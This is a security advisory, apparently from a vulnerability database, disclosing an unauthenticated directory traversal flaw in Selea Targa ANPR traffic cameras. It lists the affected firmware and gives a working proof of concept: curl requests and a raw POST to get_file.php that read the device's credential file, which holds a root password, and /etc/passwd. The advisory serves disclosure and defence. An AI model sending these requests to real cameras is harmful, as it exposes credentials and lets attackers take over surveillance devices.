Selea Targa IP OCR-ANPR Camera Unauthenticated Directory Traversal File Disclosure

🗓️ 21 Jan 2021 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 404 Views

Selea Targa IP OCR-ANPR Camera Unauthenticated Directory Traversal File Disclosure. Vulnerability in ANPR camera allows unauthenticated file disclosure via directory traversal attacks, leading to sensitive information exposure

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2025-34022	20 Jun 202522:04	–	circl
CNNVD	Selea多款产品安全漏洞	20 Jun 202500:00	–	cnnvd
CVE	CVE-2025-34022	20 Jun 202518:37	–	cve
Cvelist	CVE-2025-34022 Selea Targa IP OCR-ANPR Camera Path Traversal	20 Jun 202518:37	–	cvelist
EUVD	EUVD-2025-18778	3 Oct 202520:07	–	euvd
NVD	CVE-2025-34022	20 Jun 202519:15	–	nvd
OpenVAS	Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check	22 Jul 202100:00	–	openvas
Positive Technologies	PT-2025-26458	20 Jun 202500:00	–	ptsecurity
RedhatCVE	CVE-2025-34022	23 Jun 202508:39	–	redhatcve
VulnCheck KEV	VulnCheck KEV: CVE-2025-34022	20 Jun 202500:00	–	vulncheck_kev

<html><body><p>Selea Targa IP OCR-ANPR Camera Unauthenticated Directory Traversal File Disclosure


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The ANPR camera suffers from an unauthenticated arbitrary file disclosure vulnerability.
Input passed through the Download Archive in Storage page using get_file.php script is
not properly verified before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files via directory traversal attacks
and aid the attacker to disclose clear-text credentials resulting in authentication
bypass.

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5616
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5616.php


07.11.2020

--


$ curl http://192.168.1.17:8080/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fmnt/data/auth/users.json
{
    "viewers": {},
    "root_pwd": "P@$$w0rd",
    "operators": {}
}

$ curl http://192.168.1.17:8080/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
dbus:x:1000:1000:DBus messagebus user:/var/run/dbus:/bin/false



POST /cgi-bin/get_file.php HTTP/1.1
Host: 192.168.1.17

name=TESTINGUS&amp;files_list=/etc/passwd


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-disposition: attachment; filename="TESTINGUS.tar"
Expires: 0
Cache-Control: must-revalidate
Pragma: public
Content-Length: 2048
Connection: close
Date: Wed, 09 Dec 2020 01:39:57 GMT
Server: selea_httpd

root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
dbus:x:1000:1000:DBus messagebus user:/var/run/dbus:/bin/false
</p></body></html>

21 Jan 2021 00:00Current

7.3High risk

Vulners AI Score7.3

CVSS 49.3

EPSS0.00936

SSVC